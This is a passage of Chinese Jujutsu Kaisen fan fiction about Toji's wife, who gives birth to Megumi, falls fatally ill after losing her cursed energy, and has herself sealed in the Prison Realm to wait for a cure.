等到了汽车前，他才将我放下，先扶着我进了车，再将行李箱放在后备厢。
之前预约过医院，预约的就是这两天生产。
所以到了医院就直接办理了住院手续。
这边有护士过来做检查，“已经五指了，妈妈很厉害，都没有喊疼。”
我笑笑，“是宝宝心疼我，没怎么折腾我。”
惠是个乖孩子，怀孕期间我都没有受什么罪，哪怕很长时间被甚尔带着到处收咒灵尸体也见他在肚子里闹腾过。
到了下午，医生过来检查后宣布我可以进产房了。
两个小时后我和甚尔的恩惠发出了来到人间的第一声啼哭。
惠被放在我头边，病床被护士推了出去。
甚尔没有看惠，而是抓紧了我的手，对着我满头大汗的额头吻了一下，“霁，不生了，就要一个孩子。”
我看着他毫无血色的唇，知道他等在外面也很煎熬，只是我现在没有精神安抚他，一股虚弱感向我袭来，我对他说，“你盯着惠，我睡一会儿。”
醒来后我发觉我跟术式失去了联系，也看不见甚尔肩膀上的丑宝，我恍然，以惠的咒力为媒介能看见咒灵的限时体验已经结束。
我再次变成了那个只有术式没有术师大脑的普通人。
我怅然若失，任谁失去超能力都会有戒断反应。
不过，我看向了正拿着奶瓶生疏喂奶的甚尔以及躺在爸爸有力手臂上吸奶的婴儿，由衷流露出幸福笑容。
什么怅然若失都没有甚尔和孩子重要。
“来我抱抱～”
甚尔小心地给孩子拍出奶嗝才送到我手上，我向他投去满意目光，不愧是忙里偷闲报名新生儿护理课程的新手爸爸。
襁褓中的婴儿眼皮非常肿，脸是皱巴巴的像极了小猴子，要说优点就是睫毛非常长，肿着的眼泡也没耽误睫毛露出来。
“睫毛精啊～”我忍不住说出来。
甚尔在床前坐下，揽住了我的肩凑过来看。
我头挨着他的头，脸上都是笑容。
“跟甚尔一样，以后肯定吸引女孩子。”
甚尔小声辩解，“我和这小子不一样，我只吸引霁。”
“讨厌，干嘛要说犯规的话？”
我盯着儿子看了一会儿，直到他握紧小拳头打了一个小哈欠，才将他连同襁褓一起放进被子里。
我躺下歪着头，一边伸出食指让惠
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抓住，一边随意道：“丑宝在吧？我好像看不见它了。”
甚尔怔了下，握紧我的手，“没事的，我也是没有特殊才能的普通人。”
我笑吟吟地望着他，“是那种一拳头一个术师的普通人吗？”
“那又怎么样？我没有术式，霁也没有术式，我们才是相配的普通人。”
这家伙心里还是有漏洞。
我叹息，仰起头，“甚尔，亲亲我。”
＊＊＊
产后第四天我出院了，本来昨天就能出院，因为我无端的虚弱，甚尔强制我多住了一天做了检查。
检查结果我的身体很健康，我们将问题归为咒力消失引发的副作用。
我一路裹得严严实实被抱回了家，家里空调取暖器都开着，感觉像是进入了炎热酷暑一样。
最后还是关掉了空调只留下了取暖器。
房间还是有点干燥，睡了一晚干得我鼻子出了血。
甚尔只能手持喷雾，让空气变得湿润。
我美滋滋地坐月子。
让甚尔忙碌到不行，他不仅要照顾我，还要照顾宝宝，光是两个小时喂一次奶就足够折腾人。
才几天就肉眼可见他多了黑眼圈。
我能做的就是夸夸夸，白天的时候喂孩子母乳，晚上他是舍不得我起来喂孩子，自己带着孩子住客厅，定了闹钟，设定声音最小的那种，闹钟一响就爬起来喂奶。
惠是在出生第二天睁开眼，第一天眼睛肿得只有一条缝隙，第二天消肿了，才看出他有一双卡姿兰大眼睛。
很明显眼形遗传了我，眸色遗传了甚尔的绿眸。
亚洲人有一双绿眸肯定有问题，可一想到这里是二次元，又觉得可以接受了。
黑眸其实很好看，可惜惠没有遗传我的黑眸。
一周后惠的美貌展现出来，复制了甚尔的美貌，完美避开我的基因。
“要不是眼型像我，我都以为白生他了。”
一点参与感都没有。
甚尔同样不满，“长得可真难看。”
这话我不乐意了，“惠明明很可爱。”我见他臭着脸又补充了一句，“甚尔明明很帅气，我当初看到第一眼可是惊为天人。”
当我是随便什么人都捡回家的吗？换成流浪汉我才不搭理。
这句话一夸，甚尔嘴角止不住上扬，凑过来亲了一口。
“霁也很漂亮。”
我呵呵一笑，就在我们对视时，惠突然哭起来，甚尔看到爬到婴儿床上的丑宝，盯着看了片刻道：“他能看见丑宝。”
我很自然地点头，“毕竟有咒力嘛。”
转眼到了一月底，我的月子生涯终于结束，我将浴室门一关足足搓了一个小时，直到浑身脱了一层皮才一派轻松地走出来。
我第一时间抱住了躺在婴儿车里自娱自乐的傻儿子，一个月下来他胖了不少，手臂跟白嫩藕节一样，脸蛋也肥嘟嘟的，名副其实的胖娃娃。
我深深吸了一口奶香味，在他脸蛋上狠狠亲了一口，然后才放下他。
儿子重要，甚尔更重要，听见厨房忙碌的声音，我正准备蹑手蹑脚给他一个惊喜，突然间我身体一晃，腿一软不受控制地跌倒在地。
“霁！”
我看见甚尔满脸惊恐地将我抱起，好快，我正想夸他，却眼前一黑失去意识。
21.五条悟
我醒来已经在医院，甚尔一脸憔悴地坐在床边。
我一惊，“惠呢？”
他轻声道：“介护士在照顾，等会儿送过来。”
我松了一口气，纳闷道：“我就是洗澡时间长了点，没必要送我来医院。”
甚尔压住了我要掀开被子的手，声音有点飘。
“你已经昏迷两天了。”
我愣住，内心有点恐慌。
“我、我……我怎么了？”
甚尔的声音很轻，带着一种死寂，“检查出来了，体内奇怪出现了不明原因的器官衰竭，发展很快，医生说目前没有治疗办法。”
我呆住。
怎么会？
就因为我没有按剧情走，就被强制剧情杀？
我呆呆地看着甚尔。
我不甘心。
我舍不得抛下我的孩子和甚尔，我死了甚尔该怎么办？
甚尔这个家伙，别看他好像很正常，但我知道我死了他也活不下去了！
若是我和甚尔都没了，我的孩子该怎么办？
难道要走上原定剧情？
我不能死！我不甘心死！我不想死！
可是，我必须得死，这是剧情杀，我逃不掉。
不，还有办法，也必须有办法！
我捧住了甚尔的脸，“甚尔是在为我难过吗？”
明明没有见他流眼泪，我却好像听见了他的哭声。
好大，淅淅沥沥的雨声，是他的内心在哭泣吗？
他紧紧抱住我，我将头埋在他怀里，“我好开心～”
“我孤独了很久认识了甚尔，和你相遇、相知、相爱，是我人生中最开心的事。”
“以前我都是孤单一个人，别人都称我为神婆的孙女，没有人敢接近我，后来认识了学姐，还认识了甚尔，我很开心，我也有朋友了……”
“我没想到会和甚尔相爱，我们还有了一个孩子，惠是上天赐予我们的恩惠，所以，甚尔，若我有个万一，惠可以拜托给你吗？”
他低沉道：“不要，我不要！”
“你离开，我会把他扔掉！”
我无奈，“你在说什么傻话，惠是我和你血脉的延续……”
他声音闷闷，“我不想做那个被丢下的人，一直被丢下的是我，被放弃的也是我，就不能为了我努力活下来吗？”
我将头重新埋在他怀里，眼眶有点热，“我呀很舍不得甚尔，我也希望这世间有神明，让我留下来陪着甚尔。”
“我们去京都府，禅院家或许有办法。”
术式千奇百怪，一定有延续生命的术式！
我闷闷道：“听你的。”
正好我也想要找五条悟问问我现在是个什么情况。
找五条悟办事自然得准备上合他心意的礼物，五条悟喜欢什么？高专之前是甜食，高专之后是小杰和甜食。
现年十四岁的五条悟喜欢的自然是甜食啦。
既然现在的医疗手段找不出我的病因，那只能往神秘侧找了。
在去京都府前，我们得先安置惠，惠交给谁呢？
我冒出来的第一个念头是死神，米花町那个地方民风淳朴了点，可从不会对儿童下手，更不要说惠这样的婴儿了。
我让甚尔将惠送进了米花町，指明委托给毛利小五郎侦探社照顾，时间不定，但是给的委托费很高，我让甚尔带了一张五十万円支票一起过去。
甚尔出门，我打开电脑翻看论坛，找到了仙台的板块，顺利找到了中介电话。
我一个电话打过去说明来意。
对方愣住，结结巴巴解释道：“女士，我们是房产中介。”
我漫不经心地回答，“我知道，我的客户马上要回国，我急着要这些土特产，只要你送到新干线东京站，我给你十万跑腿费，你做不做？”
那边二话不说，“请务必将这个任务交给我！”
电话未挂断，我听见对面中气十足的喊声：“课长，我爷爷病了，我要请假！”
一个小时后甚尔回来，我们收拾行李前往东京坐新干线。
买的是下午四点的票，两个小时后我拿到了仙台百年老店的喜久福和其他土特产。
给对方报销了购物费和来回车费又数了十万现金递过去后，对方满眼敬意，“这是我的名片，下次有需要，请务必联系我。”
我接了过来，冲他摆摆手。
对上甚尔不解目光时我说：“毕竟是见你的亲人，礼数要到，这些要带上的礼物。”
甚尔看着那几大盒子点心，缓缓吐出了四个字，“他们不配！”
这话我表示赞同，里面只有两盒麻薯是为禅院家准备的，其他全是给五条悟的见面礼。
“那留着我们自己吃。”
差不多两个小时我们下了新干线，甚尔领着我找了一家酒店住下，我好奇地问御三家的情况。
“御三家的老宅离得很近，从千年前就传下来的祖宅。”
我赞叹，“那不就是现成的景点？”
很快我将话题引到了五条悟身上。
＊＊＊
“六眼啊，五六岁之前被五条家防守得很严密，术式觉醒后才放出来走动，我曾经见过，很快就发现了我。”
后来他才意识到六眼注意到的应该是他身上咒具携带的咒力。
只要是咒力，再弱都能被他察觉到。
说着他若有所思，若是把六眼带到霁的面前，是不是能看出问题？
他决定试一试，只要能救回霁，他什么都愿意付出。
不过在见六眼前，他得先回禅院家，逼问一下有没有办法。
＊＊＊
一早甚尔起床穿衣服，我抱着被子问，“真的不用我跟过去吗？”
甚尔嫌恶道：“那种垃圾地方，让霁过去太给他们脸了！”
我叹了口气，要不是为我，甚尔也不用回去受委屈。
他像是看出了我的想法，穿好裤子走过来深深吻住了我。
“霁，等我回来。”
我坐起身，微笑道：“嗯，我等你回来。”
他深深地看了我一眼走了。
甚尔一走，我也跟着起床，洗漱时我能够感受到身体那种虚弱感，真是越来越清晰了。
就是那种让人感受明显到身体慢慢衰弱，只能等死的却毫无办法。
我换上了衣服，给惨白的唇上了点口红，然后提着两袋喜久福下楼，下楼在前台问了五条家的地址。
御三家在京都府历史长久，生活在京都府的普通人也知道地址。
我打车到了附近，在一家很小的茶点店坐下。
老板娘应该是对附近很熟悉，我顺势打听了五条悟的信息。
“是经常有个白发小孩跑出来，偶尔也会来我家买茶点。那孩子一看就知道是有钱人家的少爷。”
我笑，后世还有梗，五条悟输就输在太有钱了，不像宿傩会
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贷款。
正聊着，老板娘指着外面道：“看吧，小少爷又跑出来了。”
我转头就看见一少年大摇大摆走在路上，鼻梁上架着一副墨镜。
今天运气真好，竟然一下就撞见了。
五条悟对别人的目光很敏感，立刻转头看过来。
我冲他招招手，少年调转脚步迈着六亲不认的步伐走了过来，是一点也不担心周围有埋伏。
“老板娘，我想和他聊聊。”
老板娘笑笑避让开。
五条悟走进来将墨镜往下一拉，“嘁，老子还以为现在的诅咒师都这么猖狂了，原来只是个普通人，喂，你也是为悬赏来的吗？”
“你太弱了，放弃吧～”
我笑笑将礼盒送过去，“仙台百年老店土特产毛豆生奶油喜久福，上午才做出来，呐，贿赂你。”
“贿赂老子？”
大概是从没有过被别人当面送礼的体验，他毫不客气地拿过礼盒拆开。
“我生病了，医院查不出问题，听说过六眼很神奇，所以买了甜点来贿赂你。”
五条悟拉下墨镜，盯着我看了一会儿，大声宣布：“没救了，你快死了～”
这孩子，难怪那么多人讨厌他，完全是被宠坏的孩子。
“还有更多甜点放在酒店里没有带来，你要是说一下我的情况，全部都是你的。”
他“啊呜”一口吃了喜久福，然后眼睛一亮，“老子喜欢这个！”
“我可以将代购联系方式给你，你下次想吃可以让对方买了从仙台送过来，当天就能吃到，只要出一点点跑路费。”
他吞下一个，跟猫儿一样舔掉嘴角的奶油，又拆开了一袋道：“你身体内的咒力很混乱欸，之前应该被浓郁的咒力改造过，正在往术师方向转变。”
啊呜一口吞掉，他含含糊糊比划了一下，“啪的一下，这种改造中断了，多余的咒力找不到出路，只能在身体内乱窜。”
我听明白了。
我的身体原本就像一间房子，术式相当于电器，我之前有咒力，咒力不多，少到连咒灵都看不见。
突然我身体里多了一股咒力，应该是怀孕那会儿，浓郁的咒力进入我的身体，我的身体为了适应便往术式方向改造。
这就相当于改造电路，改造完全可以和电器连接，使用术式。
可是很不巧，还未改造完成，我的孩子出生了，孩子带走了术式和大部分咒力，我身体的改造一下中断，剩下的咒力无处可去，不能连接术式又无法像普通人一样溢出来。
我按照自己理解说了一遍。
他冲我竖起大拇指，“没错～就是这样～”
“除非找到会反转术式的人帮你改回去，要不继续回到之前那种情况继续中断的改造。”
“你这样不上不下，身体啪一下，会崩溃哦～”
继续之前的改造？孩子都生了还能塞回去不成？
被带走的咒力应该是孕育式神的那部分。
哪怕我可以复制术式，十种影法也是禅院家的祖传术式，我召唤不出来，式神跟惠的身体绑定了，就如同六眼和无下限一样，世间独一份。
孕育的式神在惠出生后一块带走，我复制的是什么？可惜我现在看不见咒灵，也无法使用术式。
“是这样吗？”我笑眯眯跟他道谢，“真是非常感谢，要不是你，我或许会不明不白死去。”
“你这个人好奇怪，不怕死吗？”
22.封印
“禅院甚尔回来了！”
“那个吊尾车回来了？不是说叛逃了吗？上回还将户籍一块迁走了？”
“什么，甚尔君回来了？在哪？”
……
家主院落里，禅院直毘人姿势随意躺在，一手拿着一个葫芦喝酒，黑色腰带垂在木板上。
他看着大摇大摆走进来的甚尔，奇怪道：“上次谁说再也不会踏入家里大门的？”
甚尔站在廊檐前，没心思跟他斗嘴，“禅院家有没有拥有治愈术式的人？”
禅院直毘人会意，意有所指道：“是那位女士出事了？甚尔，上次我就提醒过你，不要和普通人在一起。”
甚尔不耐烦道：“闭嘴！到底有没有？”
他伸手，丑宝吐了一把刀出来。
“禅院家延续这么长时间，不可能没有保命的东西，交出来，今日就放过你们！”
“没有。”禅院直毘人直截了当道。
“御三家历史虽然长，但是我们的实力绝对赶不上古代术师，那时比现在还要乱，就算有也早被祖先用掉了，哪里还会留给子孙？”
“有好东西你会留给不知道多少代之后只有血缘维系的子孙吗？”禅院直毘人反问。
不会。
术师都是疯子，不坑一把后代已经算是高抬贵手了。
像是家茂家，因为出了一个家茂宪伦，一百五十年了还时不时被拉出来嘲讽一下，也因为出了个诅咒师成为御三家地位最低的那个。
“甚尔，你知道为何御三家宁愿近亲结合也不愿意和非术师结合吗？”
甚尔脸上露出了憎恶。
御三家喜欢做同一件事，就是将旁支觉醒术式的孩子带回来，这些垃圾为了拥有术式的子嗣给这些女孩洗脑、打压、贬低，可以说用尽手段。
“不只是为了防止血脉外流，术师和术师生出的孩子极有可能拥有术式，一旦孕育拥有超高天赋的孩子对母体损伤极大。”
“就像五条家诞下五条悟的那位夫人，从准一级跌落到四级，还因为孕育六眼失去了生育能力。”
“甚尔，准一级术师都得付出这么大的代价，非术式能承担起这个风险吗？”
“孕育非术师孩子需要耗费精血，孕育术师又需要耗费什么呢？”
甚尔如降冰窟，明明是春日，却仿佛凛冬降临，他想到霁那不明原因的内脏衰竭。
“你早知道了，为何当初不说？”
就冷眼看着他撞墙，看着他痛失所爱？
禅院直毘人晃动了一下葫芦，灌了一口：“说与不说有区别吗？”
“甚尔，你的儿子术式应该很强，要不考虑一下觉醒后送回家？”
甚尔的回应是甩了一刀，他冷冷看了他一眼转身离去，禅院家真是让他恶心透了，连姓氏都如此。
一秒后，禅院直毘人身后的屋子断裂，啪的一声有一半矮了一截。
他悠悠道：“现在的年轻人可真是不懂得尊敬长辈。”
话音刚落，他就看见自己的儿子禅院直哉一脸兴奋地跑进来。
“老头，听说甚尔君回来了，甚尔君在哪里？”
禅院直毘人不紧不慢道：“刚走。”
禅院直哉才走了两步，又回头来，“老头，甚尔君为什么找你？”
“哦，他的妻子身体出了问题，想回来找找有没有治愈能力的咒具，可惜我们家没有。”
“是那个引诱甚尔君的女人吗？要死了？那真是太好了！”
帅气纯真的脸蛋吐出残忍的话，“那个一无是处的女人应该早点死，终于不用拖累甚尔君了。”
天知道他得知甚尔君和一个普通女人结婚是有多暴怒，那样的甚尔君，竟然跟一个一无是处要长相没长相，要术式没术式的非术师结婚，他都要气炸了好不好？
现在嘛……
一想到那个女人要死了，他就心里高兴。
看着儿子转身跑了，禅院直毘人对着酒葫芦摇摇头。
果然没一会儿就有消息传来，家里的男人有一个算一个全都被打得重伤不起，他还专门去看了一眼直哉。
还未走到门口就听见他在屋里摔摔打打，“甚尔君，竟然为了一个女人……那样的女人连进入禅院家大门的资格都没有……”
禅院直毘人停下脚步转身就走。
这么中气十足应该没什么大问题。
＊＊＊
我当然怕死，没有人不怕死。
少年一点边界感都没有凑到我眼皮底下，“哇，你好像不怕，你要死了欸～”
好吧，我知道我要死了。
我看着他的眼神就像是看胡闹的猫猫。
少年觉得没趣，“别这样看老子，你的眼神有点恶心～”
他冲我做了个鬼脸，然后起身挥手，“走啦，老子会找人去取老子的点心，要骗老子，你就死定了！”
我笑眯眯，这会儿神子还没有被挚友牵绊降落人间，性格有偏差很正常，真是难以相信几年后会成为任劳任怨奔赴各地祓除咒灵的五条老师。
少年迈着欢快的脚步离开，没一会儿就有五条家的人找了过来。
“悟少爷交代我过来拿甜点……”
来人隐晦地打量了我一眼，大概是看我是普通人眼神有点高傲。
我也不在意，跟一堆生活在封建环境里的人谈这些完全是自找没趣，“放在酒店了，请随我来。”
支付了茶点钱，我领着人回了酒店，路上这人还明里暗里打听我是怎么跟五条悟认识。
“不怎么熟悉，排队买甜点的时候认识，这次来京都观光，帮他带了一份点心过来。”
进了房间，我将几大盒子点心一块递过去，几盒点心都快把人给埋起来了。
这人一下子信了，只有悟少爷才会对甜点有狂热喜爱。
送走人，我洗去了妆容，看着镜子里虚弱的模样不免有些苦笑。
没想到原因竟然是那样。
我深吸一口气，现在找家入硝子不现实，家入硝子的反转术式需要深入学习了解人体结构。
我不认为刚上初中的小孩能将我的身体全部改造一遍，让我变回非术师。
就算可以，恐怕也得进高专后，经过大量术师练手后。
摇摇头，我等不到那个时候。
那么只能选择第二个方案了。
……
门被人从外面推开，甚尔失魂落魄地走进来。
我意识到这次禅院家之行结果恐怕不好。
他颓废地坐在床前，眼里满是红血丝。
“果然和我这样不幸的人在一起，只会给你带来不幸。”
狗屎的禅院家到底给甚尔灌输了什么思想？怎么走一趟，我的甚尔就变成了这副模样？
我翻身将他压在身下，抵着他的额头问，“甚尔你哭过了吗？发生了什么事？”
甚尔从来不会拒绝我，但是
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这次他却没有回答而是痛苦自责。
“是我的错，我不应该缠上霁，若是没有和我在一起，霁也不会生病，有着一份热爱的工作，成为一位出色的女性……”
我捧住了他的脸，打断他，“才不是！”
我对上了他的绿眸，绿眸中满是伤痛，那是年幼的甚尔，被各种言语打压后的甚尔。
我好不容易将他拉回正常生活，不吝啬表达爱意，就是让他变得自信，现在一切都无功而返，他再次陷入消极情绪中。
“甚尔才是我人生中的惊喜，没有甚尔，我的人生会变得枯燥乏味，没有甚尔，我或许早死在咒灵口中了……”
“甚尔不应该将责任都怪到自己身上，我是衷心感谢甚尔出现在我的人生里。”
一滴眼泪从他眼角落下，他用力回抱住了我，声音带着倔强，“若是有万一，霁带我一起走！”
“才不要！”
我将他之前说的话还了回去，“甚尔是想要丢下我们的惠吗？你之前说过的，惠是上天赐予你的恩惠。”
我将脸埋在他脖子上，“现在上天命令你，要照顾好自己和惠。”
我能感受到甚尔极大的恐慌，在他耳边轻声道：“我见过六眼了。”
他猛然坐起身，“对，还能找六眼！”
我拉住了他，轻轻摇头，“六眼只看出了问题，没有解决办法。”
我将五条悟说的那些话加工一下说了。
甚尔眼睛里出现了亮光，“反转术式？”
紧跟着希望又破灭，要是出现反转术式持有者禅院家不可能不知道，总监部若是藏着反转术式也瞒不过御三家。
“甚尔听过狱门疆吗？”
“那是什么？”
“狱门疆是能够封印人的特级咒具。”
我深吸一口气说来我的解决办法，“外婆留下的书里有提到，狱门疆内部没有时间概念，封印时会连同时间空间一起封印，人在里面等于时间停滞。”
“找到狱门疆把我封印进去，等找到反转术式的持有者再将我放出来。”
＊＊＊
“封印你？！”
甚尔愕然，他有些不敢置信地看向妻子。
立花霁露出苦笑，“甚尔还有其他办法吗？能立刻找到会治愈别人的反转术式吗？”
“这是我能想到最好的办法了。”女人坐起身，眼睛向上看了看，眨去了眼中的湿润。
霁说得没错，已经没有时间了，医院那边说内脏衰竭极快，让他做好心理准备。
“狱门疆……”
他沉默了一下打了几个电话，确认了这样东西历史上存在过。
他迅速站起身，“我们去东京。”
“这个东西只有通过结界无所不知的天元知道在哪里！”
＊＊＊
我拉住了他，“回东京先去接惠。”
才一晚上不见我就想念得不行。
我这边是过去了一晚，惠那边还不知道过去了多久，那孩子在家就很黏我，突然跟我分离还不知道多伤心。
到东京已经下午两点，甚尔一路上电话就没断过，等接了惠送我们回家，他马不停蹄地离开。
看样子是去东京都立咒术高专了。
只是我已经顾不上甚尔了，惠哭了很久，双手紧紧抓住我的衣服，绿眸紧紧盯着我像是在仔细辨认。
我亲了亲他的小胖脸，“宝宝，是不是想妈妈了？”
23.狱门疆·里
东京都立咒术高专。
这个世间大概只有完全无咒力的天与咒缚能够大摇大摆通过结界进入高专。
天元所在薨星宫在地下，需要经过多条隧道，薨星宫就隐藏在中心结界中，位置随着天元心意变化。
一长发瘦弱男子坐在桌前，他眼睛缺失像是通过结界在观察什么。
突然间他感觉到身边像是多了什么立刻睁开眼睛。
看着眼前悄无声息出现，拿出特级咒具才让他感应到的男人，天元若有所思。
“你是禅院家的天与咒缚？”
“你是来杀我？没用的，我的术式是不死，受再重的伤都会恢复。”
甚尔拿着释魂刀走近，“我手中这把是特级咒具释魂刀，能够无视身体硬度斩裂灵魂，或许全知全能的天元大人想尝试一下。”
天元看他一上来就公布术式，增强战斗力，就有些坐不住了。
“天与咒缚你不守着你的妻子，来找薨星宫做什么？”
甚尔警惕：“你监视过我？”
“没有，我观测不到天与咒缚，不过我能观测到你的妻子，之前你们杀死大量咒灵，给总监部这边造成骚动，我自然要知道你们在做什么。”
“这么说全知全能的天元应该知道反转术式拥有者？”
什么狱门疆，他如何舍得封印霁？
“你找反转术式？”
天元沉吟片刻道：“是有一位能够治愈其他人的反转术式持有者，只是尚且年幼，无法进行精细的操作，你得明白反转术式并不能治愈一切伤势和疾病。”
“是谁？那个反转术式持有者的身份。”
“叫家入硝子，是一名刚毕业的小学生，只有少数人知情，三年后会进入高专上学。”
甚尔记下了名字。
“喂，天元，狱门疆藏在什么地方？”
天元有些惊讶，“你找狱门疆？”
很快他意识过来，恍然道：“不错，暂时无法治愈可以封印，等反转术式持有者成长起来。”
“只是很可惜，我感知不到狱门疆的所在，应该是在海外。”
甚尔神色一瞬间变得毛骨悚然。
“老不死，你再说一遍在哪？！”
天元一脸无奈，“狱门疆前门不在我这，不过后门在，只是你要想清楚，狱门疆的后门虽然能够封印人，但开门权限在前门那里。”
“一旦狱门疆前门持有者发现狱门疆使用过，可以通过前门将人放出来，你确定要后门吗？”
“要！”他咧嘴，“不管前门在谁那里，上天入地我也会抢过来！”
“行吧！”天元有十分把握狱门疆在羂索手中。
他隔空一掏，狱门疆里出现在他手中。
“拿去吧。”
目前他尚未知羂索的谋划是什么，或许借着天与咒缚对羂索的围攻，可以看出一些他的布局。
“我记得天逆鉾在你手中，你可以使用天逆鉾打开狱门疆，不过你需要记住，从狱门疆里进去的再次打开不确定里面的人是从前门还是后门出来。”
甚尔拿走了狱门疆·里往外走，“我已经无路可走。”
不封印，霁马上就死。
封印，只要他及时将前门找到，霁就能活下来。
他别无选择。
……
站在门外，听着门内哼着的童谣，甚尔心乱成了一团麻。
许久后他推开了门，妻子坐在婴儿床边，一脸慈爱地哄着他们的孩子。
“甚尔！”
听见开门声，立花霁回望过来，她立即起身，朝这边走来，谁知刚走几步就腿软。
＊＊＊
我畏惧地闭上眼，没有等来疼痛只等来了温暖的怀抱。
睁开眼，我有些欢喜道：“我就知道甚尔会接住我。”
甚尔拦腰将我抱起，放到沙发上坐下。
我好奇地打量他手里的方形盒子，一只紧闭着的眼睛被线缝合上，这就是狱门疆·里。
“这是狱门疆和书上描述得不太一样。”我接过看了看说。
我尝试过将剧情说给甚尔知道，却怎么也说不出来，我怀疑是给自己下过束缚，用未来情报换取过什么。
所以哪怕知晓未来，我也说不出来，只能用这种敲边鼓的方式引导甚尔去找狱门疆。
“这是后门。”甚尔眉头紧锁，说了天元说过的那些话。
“前门不知道在谁手中，但能确定不在本岛，天元的结界笼罩本岛，有咒力的人和物都逃脱不了他的眼睛，他没有感应到前门存在。”
我帮着分析，“听着可疑，海外的咒灵可是不成气候，故意将狱门疆带到海外，隔离天元结界的感知，难道是谋划着什么？”
“我会联系人寻找狱门疆下落，霁，我有些担心……”
他低头绿眸里是止不住的担忧，“等我拿到前门再封印，我怕你会落入不怀好意的人手中。”
我分析，“应该不至于。”
“天元感受不到狱门疆，很可能在国内就失去了狱门疆的下落，应该是被符纸敛去了咒力。”
我记得狱门疆在使用前可是一直被符纸包裹得严严实实，就算动用也得到18年了，那时我早出来了。
我打狱门疆的主意不就是钻这个漏洞，偷偷进猫箱吗？
一方面是想等家入硝子成长，另一方面是想躲开剧情杀。
原著剧情里只说惠的生母在他刚出生不久就离开了他，之后两个单亲家庭走到了一起。
倒是公式书里有提到惠妈生下孩子不久就去世了。
我躲进狱门疆里也是躲过这个时间点，等我出来惠说不定都上幼稚园了，总不能剧情杀还追上来吧？
“狱门疆失踪至少一百年了，不可能一直被人带在身边，一定是藏在某个地方，等待需要的时候再拿出来。”
“没人守着应该不会发现狱门疆的变化，我们偷偷封印，再偷偷解封。”
我握紧甚尔的手，目光不舍看着他，“情人节，我们婚后的第一个情人节，我不想错过……”
甚尔回握住我的手，“我会悄悄查，不会惊动其他人。”
“无论握有狱门疆的人有什么谋划，我都不在乎，我会将所有威胁到霁的人和事都清理干净！”
＊＊＊
惠出生后的第四十二天，立花霁的病情恶化之快让所有人都很意外。
从查出病情到再次住院才不到两周时间。
甚尔后悔了，他不应该心怀妄想贪图剩下的日子，拿到狱门疆应该立马将她封印起来，起码那时她身体和精神还很不错。
而不是为了等情人节到来，让霁忍耐身体和精神上的折磨。
医院重症手术室前，禅院甚尔靠着墙散发着颓废气息。
[……最有可能会反转术式就是当今唯一的特级咒术师九十九由基，我帮你联系过了，她反转术式无法用在别人身上。]
[五条家和家茂没有治愈能力的咒术，也没有这种类型
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咒具，对于你妻子，我很抱歉。]
[甚尔君，只是一个普通女人，你何必为这样一个女人奔波，这样的人连进入禅院家大门的资格都没有……]
……
[……这是我们的恩惠。]
红色的指示灯变绿，禅院甚尔从回忆中回神，等着那道宣布命运的手术室门打开。
床被推了出来，他的妻子闭着眼睛面无血色。
他忍不住闭上眼，愧疚和自责让他无法面对妻子。
迈着沉重的脚步跟了过去，没走两步被面色凝重的主治医师叫住。
“立花先生，这次发病侥幸抢救回来，只是以现在的医学这种不明原因导致的器官衰竭治愈希望渺茫……您夫人的器官已经衰弱到了极点，下一次再休克……您做好心理准备……”
医生说完离开，禅院甚尔目光蒙上了一层阴影，心就像是被黑暗中伸出的无限触手拉入深渊。
＊＊＊
我醒来发现甚尔垂头丧气地坐在墙角，眨了眨眼，才反应过来他是又自闭了。
“甚尔……”
我虚弱到声音都发不出来了，甚尔却猛然抬起头，快步走了过来。
“霁！”他扶着我喝了点水。
我沉默了片刻，虚弱笑道：“我怕是等不到和甚尔一起过情人节了。”
好失落，明明是婚后的第一个情人节。
甚尔握紧了我的手，“没关系，以后我们可以度过很多情人节，就算是老了也过。”
我无奈，“谁老了还过情人节？”
“甚尔，我们回家吧，我想再看看惠。”
在医院留着也没用，只能给些安慰药剂。
我希望封印之前再看看惠，抱抱他，亲亲他。
狱门疆内很恐怖，感受不到时间流动，只有数不尽的骷髅为伴，那种日子光想想就让人窒息。
却是我活下来的唯一办法。
我会怀着对甚尔和惠的思念，努力熬过那段艰难时期。
回到家甚尔扶着我洗了个澡，穿上了漂亮的衣服，还化了妆。
我抱住了惠，万分舍不得，下次见面还不知道什么时候，我注定要错过这孩子最重要的时间段。
“甚尔，对不起……”
很抱歉，明明不想说那种话，可却不得不说。
“惠就拜托你了～”
若我幸运活下来，我会努力撑到再次见到你，若是不幸离去，也请不要灰心，和惠一起替我好好活下去。
我放下了惠，手中只拿了一张一家三口在月子期间拍的合照。
照片上我坐在床上抱着惠，甚尔将我们一起拥在怀里，那会儿我们多么幸福。
我将照片贴在心口，深吸一口气道：“甚尔，我准备好了。”
“霁。”
甚尔将释魂刀递过来，“出狱门疆有人伤害你，你就拿刀砍他，这把刀可以无视一切硬度直击灵魂。”
我能理解他的不放心，毕竟狱门疆的前门不在我们手里。
我接了过去，没要天逆鉾是因为狱门疆无法从内部打开，我拿了也没用。
相比之下，释魂刀对我更有用处。
狱门疆落地，甚尔手持天逆鉾刺上去，闭合眼睛上的缝合线自动脱落露出了一点缝隙。
从缝隙中能看见狱门疆内部的情况，数不尽的骷髅在向上伸手。
我走了过去，在甚尔唇上狠狠咬了一口，带着微笑往后一倒。
“甚尔，晚安。”
24.消失的她
狱门疆原本睁开的眼睛合上，天逆鉾掉落在地，狱门疆动了动，从原有银色变成了黑色，眼皮上的缝合线再次出现。
捡起了狱门疆，甚尔眼神变得死寂，房间内传出孩子的哭声。
甚尔走过去，冷眼看着婴儿床上大声啼哭的儿子。
霁，看见了吗？
连我们的孩子感受到了你的气息消失。
他低头看了看手中的狱门疆，强按住想立刻解封让妻子回来的冲动。
不行，得反转术式成长起来才可以解封。
好想好想，疯狂思念霁，才离开不到一分钟他就思念她。
思念蚀骨，怎么办？
一分钟，一刻钟都忍耐不下去，他该怎么熬过以年为单位的时间？
……
以禅院家为首的御三家突然得到一个消息，那就是总监部上层藏着一个反转术式拥有者。
御三家一顿扯皮发现谁也不知道这情况，立刻将目光投向新阴流这个流派。
新阴流派同样有千年历史，利用简易领域拉拢民间散落的术师，在总监部上层也占有一定席位。
其他小家族想要在御三家眼皮下瞒住这个消息不容易，新阴流可以，谁也不知有多少辅助监督是新阴流派安插的人。
若是顺利隐瞒个几年，说不定反转术式被新阴流派吸纳了。
可惜现在被他们知道了，于是关于反转术式持有者的争夺战打响。
五条家对反转术式势在必得，谁让家里有个时刻被六眼烧脑的神子？
但御三家的另外两家不会眼睁睁看着五条家霸占反转术式。
禅院家和家茂家联手制衡五条家，御三家争斗的同时不忘将杂鱼势力清出局。
